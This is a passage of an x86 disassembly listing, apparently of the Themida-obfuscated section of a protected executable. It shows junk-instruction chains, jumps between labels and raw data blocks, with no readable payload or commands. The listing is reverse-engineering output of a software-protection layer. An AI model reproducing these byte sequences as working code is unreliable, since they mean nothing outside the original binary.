0FBF78147h, 5512C85Eh, 0FFDBA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_560899: ; CODE XREF: Themida_:00561255j add edx, eax add edx, 0F56742Bh pop eax push eax mov eax, 4 add edx, eax pop eax jmp loc_5581AD ; --------------------------------------------------------------------------- dd 33ABE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5608B6: ; CODE XREF: Themida_:0056535Fj mov ebx, 79830F49h push ebx sub dword ptr [esp], 4B2B4641h pop esi add esi, 4B2B4641h pop ebx push ebp mov ebp, 32877026h xor esi, ebp pop ebp jmp loc_55B2F6 ; --------------------------------------------------------------------------- byte_5608D9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550EE8o dd 0F9DE924h, 0DE010000h, 6BF3EE81h, 0CEE92AC2h, 29FFFF1Ah dd 44BA52D5h, 29630735h, 0EA875AD5h, 44CEE9h, 0BB0F6600h dd 0E99C2404h, 0FFFF0653h, 8B24048Fh, 73E92424h, 8BFFFFD4h dd 0F6E9241Ch db 33h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56091F: ; CODE XREF: Themida_:00555B79j push 7AF40856h pop edx push ecx mov ecx, 5D3451B7h not ecx shr ecx, 1 neg ecx dec ecx push esi mov esi, 0A6C0A2D8h xor ecx, esi pop esi jmp loc_5548DB ; --------------------------------------------------------------------------- dd 79A4BD55h, 54E97360h, 81FFFFCBh, 913F2C6h, 0F3C68129h dd 0E92AC26Bh, 0FFFFFF86h, 13E9EB08h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_560963: ; CODE XREF: Themida_:00560481j mov ecx, 30h jmp loc_559B74 ; --------------------------------------------------------------------------- loc_56096D: ; CODE XREF: Themida_:0055591Fj pop ebx push edx jmp loc_55ADD6 ; --------------------------------------------------------------------------- dd 1BFh, 74C68100h, 151AB2Ah, 74EE81FEh, 8B51AB2Ah, 0E953243Ch dd 0FFFF6AE4h, 5C243487h, 0E9240C89h, 0FFFFF0BCh, 69606851h dd 4890000h, 7AA5B824h, 5950398Ch, 0E924048Bh, 0FFFF1468h dd 0B9404781h, 0E95AF756h, 0FFFF37E8h, 289CEF80h, 9CC780C7h dd 0F7805866h, 0FFF83081h, 815B2434h, 4C4h, 9331E900h dd 0E958FFFFh, 0FFFF057Bh, 0DFE9CE29h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5609EB: ; CODE XREF: Themida_:00560D3Bj add ecx, eax pop eax xchg ecx, [esp] pop esp or eax, eax jz loc_5602D6 push dword ptr [edi+28h] push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edx mov edx, esp push eax mov eax, esp add eax, 4 jmp loc_5590BD ; --------------------------------------------------------------------------- db 5Bh dd 4C481h, 81460000h, 1EEh, 3E6C100h, 68h, 5C70E900h, 8951FFFFh dd 4C181E1h, 50000000h, 4B8h, 58C12900h, 5C240C87h, 230FE9h db 0 ; --------------------------------------------------------------------------- loc_560A59: ; CODE XREF: Themida_:0055B368j mov eax, 256232B1h or ecx, eax mov eax, [esp] add esp, 4 inc ecx push esi mov esi, 5B8C317Ch push edx mov edx, 0B3F4E53h shr edx, 7 jmp loc_5559C4 ; --------------------------------------------------------------------------- dw 5E35h dd 51BCC01h, 468E615Fh, 5648D0F7h, 0AC2892BEh, 5EF03115h dd 158C729h, 16C781DFh, 0FF58A319h, 65E92434h, 8100000Fh dd 382A3CC7h, 6AC12DDEh, 0F82937FCh, 0FC6AC105h, 243C8B37h dd 0CC5EE956h, 4BFFFFFh, 1000000h, 604BE9FDh, 895FFFFFh dd 540159CAh, 585A0424h, 8DB0E953h, 0DF2DFFFFh, 35472205h dd 8BF96AAFh, 6CE9C689h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560AEF: ; CODE XREF: Themida_:0055C3C9j push ebx jmp loc_558835 ; --------------------------------------------------------------------------- db 0C0h, 0EAh, 8 dd 5166CAFEh, 88B5B652h, 0EEE95AF5h, 8100004Fh, 0C93EE8F2h dd 0E9DA873Eh, 462Ch, 5204F204h, 522CD800h, 0FF32E9E9h db 0FFh byte_560B21 db 0F6h, 1Ch, 24h ; DATA XREF: Themida_:00550D60o dd 435E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B2A: ; CODE XREF: Themida_:00554274j pop edx add ebp, 4 xchg ebp, [esp] jmp loc_554BC2 ; --------------------------------------------------------------------------- db 8, 0D9h, 5Bh dd 0E9B4C180h, 0FFFF2B46h ; --------------------------------------------------------------------------- loc_560B44: ; CODE XREF: Themida_:0055499Ej mov ebp, 55014757h jmp loc_557055 ; --------------------------------------------------------------------------- dw 0C183h dd 240C8704h, 4EC815Ch, 89000000h, 3DBE2434h, 11E2F06h dd 2434FFF0h, 4C4815Eh, 2D000000h, 24B03EA3h, 15398605h dd 7D322D04h, 38E958E0h, 0BBFFFF56h, 69AB0F0Eh, 0E908EBC1h dd 0FFFF6EBFh, 242C815Bh, 54AB60B3h, 668A6851h, 0C8B690Dh dd 4C48324h, 4244C29h, 7CBB5359h, 813D474Eh, 4C04246Ch dd 811D4363h, 0BF04246Ch, 293EE011h, 8104245Ch, 0BF042444h dd 0E93EE011h, 0FFFFD73Fh ; --------------------------------------------------------------------------- loc_560BD0: ; CODE XREF: Themida_:00563B87j pop esi pop eax xor ebp, edi pop edi and ecx, ebp jmp loc_55E5CA ; --------------------------------------------------------------------------- dd 6802C483h, 6CC1h, 0FF79A4E9h, 2EBC1FFh, 1ED9F381h, 0DBF7266Ch dd 3080EB81h, 0B9517E68h, 1A5366EBh, 0FFCE96E9h db 0FFh ; --------------------------------------------------------------------------- loc_560C05: ; CODE XREF: Themida_:00551758j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edx jmp loc_552425 ; --------------------------------------------------------------------------- db 21h, 0CBh, 59h dd 4DBBBA52h, 14E90145h, 51FFFF1Fh, 7E23C7B9h, 0E1814151h dd 243E7798h, 4779E9h, 3CED8100h, 294C290Ch, 9266E9F5h dd 5868FFFFh, 89000059h, 0A3B9240Ch, 52178E03h, 3F55A4BAh dd 0ECAFE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C5E: ; CODE XREF: Themida_:0055A65Ej add edi, 4 xchg edi, [esp] pop esp push 75A7h jmp loc_55D2F9 ; --------------------------------------------------------------------------- dw 0C589h dd 0EB815F58h, 5A096542h, 0C381EB01h, 5A096542h, 5D2434FFh dd 4C481h, 0C3810000h, 2, 31241C33h, 1C33241Ch, 24248B24h dd 240C8B66h, 29E95451h, 31FFFF85h, 0D8315DEBh, 0E9241C8Bh dd 0FFFFC163h, 61E9525Eh db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560CBF: ; CODE XREF: Themida_:0055AEE8j mov esp, [esp] xor edi, 10E61F91h push ebp mov ebp, 13A25056h jmp loc_5575EA ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF0287h, 4C481h, 0C4830000h, 242C8B04h, 3EE95457h dd 59FFFF99h, 81E28952h, 4C2h, 4B95100h, 81000000h, 0A6938EAh dd 81CA0149h, 0A6938C2h, 7EE95949h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560D0F: ; CODE XREF: Themida_:005520E9j mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] sub esp, 4 mov [esp], edi jmp loc_5659EA ; --------------------------------------------------------------------------- loc_560D2D: ; CODE XREF: Themida_:00565327j mov ecx, esp add ecx, 4 push eax mov eax, 4 jmp loc_5609EB ; --------------------------------------------------------------------------- loc_560D40: ; CODE XREF: Themida_:0055128Cj push eax push edx push 65D646C2h jmp loc_56291E ; --------------------------------------------------------------------------- dd 2404895Ch, 2BA5253h, 89000000h, 9E49E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D5E: ; CODE XREF: Themida_:0055A486j add edi, ecx pop ecx xor edi, [esp] jmp loc_55C92A ; --------------------------------------------------------------------------- db 80h, 0C1h, 0A8h dd 459C800h, 3746E9C6h, 0F928FFFFh, 4B8CE9h db 0 ; --------------------------------------------------------------------------- loc_560D7D: ; CODE XREF: Themida_:005642EFj mov edi, edx pop edx shr edi, 6 add edi, 0FF237F52h add ebp, edi jmp loc_551594 ; --------------------------------------------------------------------------- loc_560D90: ; CODE XREF: Themida_:00564A46j mov edx, [esp] push ebx mov ebx, esp jmp loc_56475C ; --------------------------------------------------------------------------- db 89h dd 4DB62414h, 88F78853h, 241C8BF9h, 4C481h, 665A0000h dd 3071B753h, 835B66F9h, 26E904ECh db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560DBF: ; CODE XREF: Themida_:00556C3Bj push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_554872 ; --------------------------------------------------------------------------- db 83h dd 70E904C4h, 29FFFFFBh, 0D9015AD1h, 2369BE56h, 0CE8127E1h dd 2A040DA6h, 1106F681h, 0DEF717C8h, 0FFEFFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_560DF9: ; CODE XREF: Themida_:00557CEFj mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], edi mov edi, 1 add edx, 2B6E78D5h add edx, edi jmp loc_55895A ; --------------------------------------------------------------------------- db 0C0h, 0ECh, 3 dd 0FFB7FCE9h db 0FFh ; --------------------------------------------------------------------------- loc_560E25: ; CODE XREF: Themida_:0055C0FAj mov [esp], eax mov eax, 1Ch push ebx mov ebx, 3A60002Bh add eax, ebx pop ebx add eax, 23D54096h add eax, 6FC7FA7h add eax, edi sub eax, 6FC7FA7h sub esp, 4 mov [esp], esi mov esi, 23D54096h jmp loc_55B328 ; --------------------------------------------------------------------------- db 0C1h dd 0D8F703E0h, 0E906E8C1h, 0FFFFF8BAh, 6FECF681h, 0CEE92B7Eh dd 59FFFFA1h, 0E904EC83h, 0FFFFE84Bh, 0DBF633B3h, 8002E3C0h dd 0A1E915EBh, 0F7000042h, 12E981D9h, 319C5B9Ch, 0F52959CEh dd 240C8B5Eh, 4087E9h, 241C8900h, 0A2657F68h, 2434FF42h dd 81241C8Bh, 4C4h, 0EC815000h, 4, 83242489h, 58042404h dd 405h, 42D00h, 72E90000h, 0BDFFFF18h, 0B080950Ch, 0FF2367E9h db 0FFh ; --------------------------------------------------------------------------- loc_560ED9: ; CODE XREF: Themida_:0055E09Aj xor ebp, 5807234Dh mov ebx, ebp pop ebp jmp loc_552BB7 ; --------------------------------------------------------------------------- db 56h dd 0F50A2EBEh, 78BFE97Bh, 272CFFFFh, 0FF9919E9h db 0FFh ; --------------------------------------------------------------------------- loc_560EF9: ; CODE XREF: Themida_:00558A8Cj add ecx, 1938582Eh sub ecx, 53DD1572h jmp loc_55593D ; --------------------------------------------------------------------------- dw 0C183h dd 240C3304h, 33240C31h, 248B240Ch, 68E1F724h, 7201h, 52241489h dd 0C281E289h, 4, 4EA81h, 14870000h, 7685C24h, 89000078h dd 4832424h, 48F0424h, 24048324h, 2434FF04h, 0FF2AF9E9h dd 81E789FFh, 4C7h, 4EF8300h, 0E9243C87h, 0FFFF9546h ; --------------------------------------------------------------------------- loc_560F64: ; CODE XREF: Themida_:0055636Cj and eax, esi push dword ptr [esp] jmp loc_552287 ; --------------------------------------------------------------------------- dw 48Bh aS6 db '$И',8,'6',0 db 2 dup(0), 0F0h dd offset dword_5ABD2C dd 4EC83D8h, 0B1240C89h, 0D2F18066h, 0C07EC180h, 0C9FE02E9h dd 0FE11B353h, 80C3FEC3h, 9AE9D4C3h, 21FFFFFBh, 0E9515BDDh dd 39BDh ; --------------------------------------------------------------------------- loc_560FA8: ; CODE XREF: Themida_:0055A2E8j push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_5550D4 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Fh, 83000000h, 48904ECh, 0A0DDE924h, 0C108FFFFh dd 8324048Bh, 0E18004C4h, 2AE9801Bh, 0FF0D65E9h db 0FFh ; --------------------------------------------------------------------------- loc_560FE1: ; CODE XREF: Themida_:00565551j add al, 0FAh pop ebx push ecx sub esp, 4 mov [esp], eax jmp loc_564A34 ; --------------------------------------------------------------------------- dd 1E68D7F7h, 0E900003Bh, 4267h, 0CB89E989h, 1128E9h, 8F665C00h dd 50E92404h, 81FFFEFFh, 4C4h, 431B6800h, 1C890000h, 27DC6824h dd 2C890000h, 22685624h, 0E937CB47h, 17E3h, 0E901C780h dd 0FFFF2C01h ; --------------------------------------------------------------------------- loc_561038: ; CODE XREF: Themida_:0056270Aj push 41AC7F74h pop eax jmp loc_561A8F ; --------------------------------------------------------------------------- db 31h dd 243C8BFEh, 4C481h, 0F2010000h, 2C2815Eh, 52000000h dd 42474FFh, 5324148Bh, 0C381E389h, 4, 8704C383h, 0E95C241Ch dd 0FFFFC438h, 405h, 14E95500h db 4Ch, 2 dup(0FFh) byte_56107F db 66h ; DATA XREF: Themida_:00550E58o dd 68240C8Bh, 7AD0h, 54240489h, 40558h, 0EC810000h, 4 dd 0BF243C89h, 2, 2463E12Dh, 7FA72D1Fh, 0F8011D10h, 107FA705h dd 441BE91Dh, 248B0000h, 0E3D3E924h, 0E681FFFFh, 2C1E7A28h dd 0E903EEC1h, 0FFFF559Fh, 0C9B6E957h, 0E689FFFFh, 9C69E957h dd 0C146FFFFh, 0EE8104E6h, 0A3CD5803h, 515EF021h, 23658CB9h dd 314DE901h, 8D68FFFFh, 89000036h, 6CBF243Ch, 0F72D8974h dd 0EF8147DFh, 0EA81D2E1h, 815FF931h, 9134EBC2h, 1355E922h dd 665DFFFFh, 0E924148Bh, 2DC7h ; --------------------------------------------------------------------------- loc_561120: ; CODE XREF: Themida_:0055F377j push dword ptr [esp+4] pop edi jmp loc_55D765 ; --------------------------------------------------------------------------- loc_56112A: ; CODE XREF: Themida_:00552FBAj add esp, 4 xchg edi, [esp] mov esp, [esp] idiv ecx jmp loc_563FC5 ; --------------------------------------------------------------------------- loc_56113D: ; CODE XREF: Themida_:0055E995j mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_5542FC ; --------------------------------------------------------------------------- db 53h, 0E9h, 59h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561153: ; CODE XREF: Themida_:005614D8j shl edx, 8 jmp loc_561E47 ; --------------------------------------------------------------------------- db 4Eh dd 66FFF681h, 0C2815D7Ch, 683A4C77h, 0EA81F201h, 683A4C77h dd 8DE2815Eh, 501BC82Ah, 1B8h, 58C22900h, 88EF281h, 0BB533619h dd 30503D86h, 3FE9DA31h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561193: ; CODE XREF: Themida_:00554970j push dword ptr [esp] pop edx jmp loc_558B9D ; --------------------------------------------------------------------------- dd 83241C8Bh, 516604C4h, 0E80871B5h, 240C8B66h, 2C481h dd 31E90000h, 89FFFFDAh, 12BE2434h, 81721075h, 53703FCEh dd 9EEE8177h, 0E92DBB4Fh, 0FFFF3464h ; --------------------------------------------------------------------------- loc_5611D0: ; CODE XREF: Themida_:00556772j mov esi, 610B2CFFh mov edx, esi pop esi push ecx mov ecx, 5EA3549Bh dec ecx add ecx, 0E72C5h sub ecx, 184A47FBh xor edx, ecx jmp loc_5652E0 ; --------------------------------------------------------------------------- aHln db '\hln',0 align 4 dd 0FF37A6E9h, 46822DFFh, 65E91071h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561207: ; CODE XREF: Themida_:0055F5E5j push edx jmp loc_565088 ; --------------------------------------------------------------------------- loc_56120D: ; CODE XREF: Themida_:0055665Bj sub edi, 24EA1122h pop ecx sub edi, 4 jmp loc_55F376 ; --------------------------------------------------------------------------- dd 4BDh, 5DEE0100h, 0E9243487h, 0FFFFFFC6h, 8B5FFB29h dd 0B3682434h, 8900006Dh, 29E92404h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56123F: ; CODE XREF: Themida_:005640D0j mov [esp], eax push ecx jmp loc_55993A ; --------------------------------------------------------------------------- loc_561248: ; CODE XREF: Themida_:00556ACFj mov ecx, ebx jmp loc_558A8B ; --------------------------------------------------------------------------- loc_56124F: ; CODE XREF: Themida_:00564781j sub edx, 0F56742Bh jmp loc_560899 ; --------------------------------------------------------------------------- dw 0F5Ch aHbz db 'хh│z',0 align 2 dw 489h dd 7FA8E924h, 0C481FFFFh, 4, 2B5AAB05h, 86BB5335h, 0E94DD05Eh dd 0FFFFA375h, 0E9243489h, 0FFFF0E10h, 206E0168h, 0C3815B40h dd 694379EEh, 7008C381h, 0D8897789h, 8322E95Bh, 0C531FFFFh dd 0FF151CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5612A9: ; CODE XREF: Themida_:0055DD6Bj pop ebx xor esi, [edi+24h] xor [edi+24h], esi inc esi xor [edi+24h], esi xor esi, [edi+24h] push ecx push 5205h jmp loc_55B805 ; --------------------------------------------------------------------------- loc_5612C2: ; CODE XREF: Themida_:0055F0DFj pop ebx add esp, 4 add ebx, edi push dword ptr [ebx] mov ecx, [esp] add esp, 4 push dword ptr [esp] mov ebx, [esp] jmp loc_563C03 ; --------------------------------------------------------------------------- db 58h dd 0E41E951h, 0EB810000h, 58CD2E3Eh, 0C381C301h, 58CD2E3Eh dd 1FEB8158h, 533FEC2Eh, 0FF9255E9h db 0FFh ; --------------------------------------------------------------------------- loc_5612FD: ; CODE XREF: Themida_:005552BFj sub edi, 0E805FA4h mov ecx, edi pop edi push 5B36h mov [esp], eax mov eax, 3CA0723Dh jmp loc_562C78 ; --------------------------------------------------------------------------- loc_561318: ; CODE XREF: Themida_:00551461j push ebx push edx mov edx, 7076639Dh push 707663A1h pop ebx sub ebx, 785710A7h sub ebx, edx add ebx, 785710A7h mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add edi, 28220FD3h jmp loc_565B93 ; --------------------------------------------------------------------------- loc_561351: ; CODE XREF: Themida_:00556582j push 41E06581h mov edi, [esp] add esp, 4 shr edi, 2 push ebp mov ebp, 1078195Ch sub edi, ebp pop ebp mov esi, edi pop edi sub esp, 4 mov [esp], ebp jmp loc_55BDA0 ; --------------------------------------------------------------------------- dw 0EB81h dd 5BD916DCh, 22D5EB81h, 93E93152h db 4Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561387: ; CODE XREF: Themida_:0055F879j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_565564 ; --------------------------------------------------------------------------- dw 62B8h dd 0E91C8542h, 3865h, 0C781E789h, 4, 4B951h, 0CF010000h dd 74FF5759h, 3C8B0424h, 4C48124h, 0E9000000h, 0FFFF562Ch ; --------------------------------------------------------------------------- loc_5613CC: ; CODE XREF: Themida_:0055B812j neg ebx push eax mov eax, 256361FAh shl eax, 7 inc eax push edx mov edx, 1EC020C1h shl edx, 7 jmp loc_563566 ; --------------------------------------------------------------------------- dd offset dword_445750+1718h dw 5E6Bh dd 0E952D6F7h, 0FFFF4AC0h ; --------------------------------------------------------------------------- loc_5613F4: ; CODE XREF: Themida_:00555E7Aj inc ecx jmp loc_5530C3 ; --------------------------------------------------------------------------- dw 0C483h dd 4C48104h, 2D000000h, 770C703Fh, 0FF313BE9h db 0FFh ; --------------------------------------------------------------------------- loc_56140D: ; CODE XREF: Themida_:00564EFAj pop esi shr ebx, 3 jmp loc_565778 ; --------------------------------------------------------------------------- dw 81BAh dd 0F7228F2Bh, 1DE281D2h, 812A5453h, 851CCAE2h, 0B8504220h dd 2BB4BFCh, 8158C209h, 14FCC8EAh, 5AD029D3h, 86E9F801h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561443: ; CODE XREF: Themida_:0055943Dj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edi mov edi, 72997ED3h sub esp, 4 mov [esp], esi push 0D56h jmp loc_555B76 ; --------------------------------------------------------------------------- db 68h, 0BAh, 31h dd 0B9E90000h, 0BFFFFF47h, 43D35F10h, 1957E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561482: ; CODE XREF: Themida_:0055CD83j mov esi, 4 add edx, 690E3469h sub edx, 50973F94h sub edx, esi add edx, 50973F94h sub edx, 690E3469h pop esi push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], edx push 5352h mov [esp], ecx push 57D85B52h pop ecx sub ecx, 57D85B53h mov edx, ecx mov ecx, [esp] add esp, 4 sub [edi+24h], edx pop edx jmp loc_558E4E ; --------------------------------------------------------------------------- loc_5614D4: ; CODE XREF: Themida_:00562EC3j xchg edi, [esp] pop esp jmp loc_561153 ; --------------------------------------------------------------------------- db 56h, 0BEh, 0D8h dd 2937F175h, 0C886E9F3h db 2 dup(0FFh) word_5614EA dw 8B66h ; DATA XREF: Themida_:00550D68o dd 54502404h, 0A4B95158h, 413B7467h, 0E981D1F7h, 0C48B9856h dd 0B2E9C801h, 5700003Dh, 0F6A0BABFh, 0B4C2E947h, 34FFFFFFh dd 54525824h, 0FF8BE3E9h, 66C328FFh, 4EC8351h, 0B2241489h dd 0C9FE9BEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56152E: ; CODE XREF: Themida_:0055DF2Cj mov esi, 7B710192h push ecx mov ecx, 78AB67ADh jmp loc_562697 ; --------------------------------------------------------------------------- dw 74FFh dd 74E90424h, 5BFFFFBFh, 8244C29h, 243C8B59h, 4EC81h, 1C890000h dd 81E38924h, 4C3h, 46AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561566: ; CODE XREF: Themida_:00563828j shr ebp, 4 xchg esi, ebp jmp loc_55FFFB ; --------------------------------------------------------------------------- dd 8B24048Fh, 0FF502424h, 0FF042474h, 68E92434h, 8B00002Bh dd 0C483242Ch, 2E5C104h, 2DCCE9h, 243C8B00h, 0FF620FE9h dd 1B2FFh, 0F28058C2h, 0E9D028CAh, 3ED6h, 8092EA81h, 0E981D494h dd 4B42165Dh, 0B7E9D101h, 28FFFEFDh, 0CBEFE9D8h, 0D1F7FFFFh dd 6E6FE981h, 0F1813A95h, 363CE427h, 0C8BCF31h, 4C48124h dd 0F7000000h, 50DF68D7h, 4890000h, 4F66B824h, 0EC836E2Fh dd 243C8904h, 96425BFh, 0BACF8163h, 4F325B3Ah, 5D47EF81h dd 0E95273E7h, 0FFFF8A7Eh, 83E9C628h, 8B00001Bh, 24892424h dd 7A62E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56161A: ; CODE XREF: Themida_:0055E2BBj sub esp, 4 mov [esp], edx mov edx, 24h add edx, edi push 6C71h mov [esp], ebx push edx jmp loc_55D9C4 ; --------------------------------------------------------------------------- dd 0BF243C89h, 1C7E354Fh, 0FF5FF829h, 815F2434h, 4C4h dd 79866800h, 34890000h, 3B28BE24h, 0EEC10FD1h, 0F802E905h dd 0C483FFFFh, 2262E904h, 1E680000h, 89000070h, 0E389241Ch dd 4C381h, 0C3810000h, 4, 5C241C87h, 45A6E9h, 24143300h dd 0E9241431h, 3F35h, 4C281h, 0C2830000h, 24148704h, 8124248Bh dd 4C3h, 4C38100h, 87000000h, 248B241Ch, 38AAE924h, 0E957FFFFh dd 0FFFFA636h, 56241C89h, 0C8584ABEh, 3DFCE96Dh, 0DA01FFFFh dd 2414875Bh, 0E924248Bh, 2315h, 51406525h, 402D73h, 0C5816301h dd 60586B20h, 0EEE9C529h, 81FFFF7Fh, 4C4h, 58C12900h, 5C240C87h dd 54240C89h, 0FCBF5759h, 0F725C049h, 0AB0CE9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561712: ; CODE XREF: Themida_:00558736j sub ecx, edx pop edx sub ecx, 1393729h jmp loc_557C92 ; --------------------------------------------------------------------------- dd 0E9241489h, 0FFFFE97Ah ; --------------------------------------------------------------------------- loc_561728: ; CODE XREF: Themida_:00554BD3j pop ecx jmp loc_55D9D1 ; --------------------------------------------------------------------------- loc_56172E: ; CODE XREF: Themida_:0055A369j push 1900h mov [esp], ecx mov ecx, 77ED1098h shl ecx, 1 jmp loc_55767D ; --------------------------------------------------------------------------- dw 0B5B5h dd 6659EE88h, 8CB75351h, 0C2E9FD88h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561753: ; CODE XREF: Themida_:00562532j neg edx shl edx, 6 shr edx, 2 shl edx, 2 push ebp mov ebp, 0FF83BC98h xor edx, ebp push dword ptr [esp] pop ebp push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] jmp loc_552155 ; --------------------------------------------------------------------------- dw 0C181h dd 69F10CFFh, 0FFDE1BE9h, 4C681FFh, 0E9000000h, 0FFFFC99Dh dd 33243431h, 248B2434h, 3E8EE924h, 0EC83FFFFh, 243C8904h dd 0CB1194BFh, 53EF8130h, 0E9469571h, 0FFFFAF39h, 78C7815Bh dd 81CDC608h, 4ECh, 243C8900h, 243C8B58h, 0E9E78957h, 0FFFF5CCEh dd 0ED26F1B9h, 5BD93131h, 311C681h, 0CE010BC2h, 311EE81h dd 81590BC2h, 0CA6224EEh, 53FE0178h, 1A7EECBBh, 4B43435Fh dd 0F381D3F7h, 0D82FE336h, 0FF1E4EE9h, 0FAC681FFh, 2131B2E9h dd 0E2D15EF2h, 0FF74B6E9h, 896664FFh, 0F73DE902h, 9BB9FFFEh dd 0F768B70Eh, 47E949D9h, 8700003Ah, 248B2404h, 24040024h dd 0F721E99Ch, 0B850FFFEh, 4, 4244401h, 0FF5739E9h db 0FFh byte_56184D db 0ADh, 0E9h, 29h ; DATA XREF: Themida_:00550CFCo dd 50FFFF55h, 0ED0C34B8h, 0FFC381A6h, 8129AC78h, 5C0CC6C3h dd 0DAC3811Ah, 2917F638h, 174DE9C3h, 0E929FFFFh, 5E12E981h dd 59E96F50h, 68FFFF1Bh, 4D71h, 54243489h, 5E2434FFh, 4C481h dd 0BD550000h, 13046DEh, 5B8BF581h, 0D9E92720h, 5BFFFF2Eh dd 0FF6BBEE9h, 58E288FFh, 80FACA80h, 6DE9FFC2h, 1FFFFC8h dd 9CE4E9C1h, 8853FFFFh, 0E9D988E3h, 0FFFFB26Ah, 0D413C368h dd 1BE95B44h, 5DFFFF3Fh, 5162E957h, 0F729FFFFh, 0E956555Eh dd 0FFFF760Ch, 638EB850h, 53056361h, 0E9FD3AAEh, 0FFFF2DFDh dd 0F681E6D1h, 0D9BA0FB6h, 0FF356EE9h, 4EC81FFh, 89000000h dd 0BD552404h, 665542A0h, 0FF58D7E9h, 5EF731FFh, 9DCEE81h dd 0E9501CE3h, 0FFFF7127h, 68C8B70Fh, 7901h, 54241C89h dd 0FFDD31E9h, 4C483FFh, 815FFB01h, 1BF71FC3h, 0E9DF017Dh dd 0FFFF6A5Ch, 537E6B2Dh, 8E8C145h, 8F65C42Dh, 26130521h dd 0C2298600h, 81CA0158h, 662C09C2h, 0FF525965h, 8B042474h dd 0C4832414h, 0A69FE904h, 0E181FFFFh, 63971ABBh, 896E981h dd 0C8016096h, 2DBA5259h, 680F0124h, 4183h, 0B8240489h dd 17A6DB7h, 0FF6B49E9h, 24348BFFh, 5704C483h, 4BFh, 5FF92900h dd 31240C33h, 0C33240Ch, 24895C24h, 1D91E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5619BE: ; CODE XREF: Themida_:0055EEC1j mov ebp, 4 mov edx, ebp jmp loc_5632A9 ; --------------------------------------------------------------------------- dw 5B5Ah dd 8158C289h, 4543CEC3h, 23F1E910h, 0E95AFFFFh, 0FFFFBD55h dd 48C968h, 24048900h, 0FF8813E9h db 0FFh byte_5619ED db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550E84o dd 0E7895724h, 8904EC83h, 0EC83241Ch, 24048904h, 0FF69F1E9h db 0FFh byte_561A05 db 0ACh, 52h, 0E9h ; DATA XREF: Themida_:00550C88o dd 0FFFFA5FCh, 4C4835Bh, 5C243C87h, 9C240431h, 0FEF542E9h db 0FFh byte_561A1D db 0ADh, 0E9h, 0AEh ; DATA XREF: Themida_:00550CA8o dd 0FFFFFF96h, 48B2434h, 1681E924h, 23B9FFFFh, 17FF920h dd 36E959CDh, 8100002Bh, 2DD4B7C7h, 5FFE01FBh, 8B5EF101h dd 0C481241Ch, 4, 0FFD268E9h, 4BFFFh, 0F8890000h, 17C3815Fh dd 1563D1Ah, 17EB81C3h, 0E9563D1Ah, 0FFFF90EDh ; --------------------------------------------------------------------------- loc_561A70: ; CODE XREF: Themida_:005565B4j sub ebp, edi sub ebp, 32C94BF1h sub ebp, 19356981h pop edi xor eax, ebp mov ebp, [esp] add esp, 4 jmp loc_55128B ; --------------------------------------------------------------------------- loc_561A8F: ; CODE XREF: Themida_:0056103Ej add ecx, eax jmp loc_55706B ; --------------------------------------------------------------------------- loc_561A96: ; CODE XREF: Themida_:005530EFj sub ebp, 0E3D3F9FFh mov eax, ebp jmp loc_5595DA ; --------------------------------------------------------------------------- db 55h dd 0FF6EE7E9h db 0FFh ; --------------------------------------------------------------------------- loc_561AA9: ; CODE XREF: Themida_:0056433Dj mov ecx, ebx jmp loc_5536A2 ; --------------------------------------------------------------------------- dd 80A4B151h, 0C9FE33C1h, 0FFF2ACE9h, 4C483FFh, 627868h dd 24048900h, 0E8C0ECB0h, 0FED8F607h, 24D8F6C8h, 44304B7h dd 0B256E91Bh, 0C158FFFFh, 254002E0h, 42C94C50h, 3E74BB53h dd 0DBF7433Dh, 3EB8C381h, 0D8318545h, 58C1895Bh, 226AC281h dd 0CA01492Dh, 226AEA81h, 0C8B492Dh, 4C48124h, 51000000h dd 4B9h, 0C7E95600h, 8100003Bh, 0B15A76E1h, 0A8E95724h dd 81FFFFE5h, 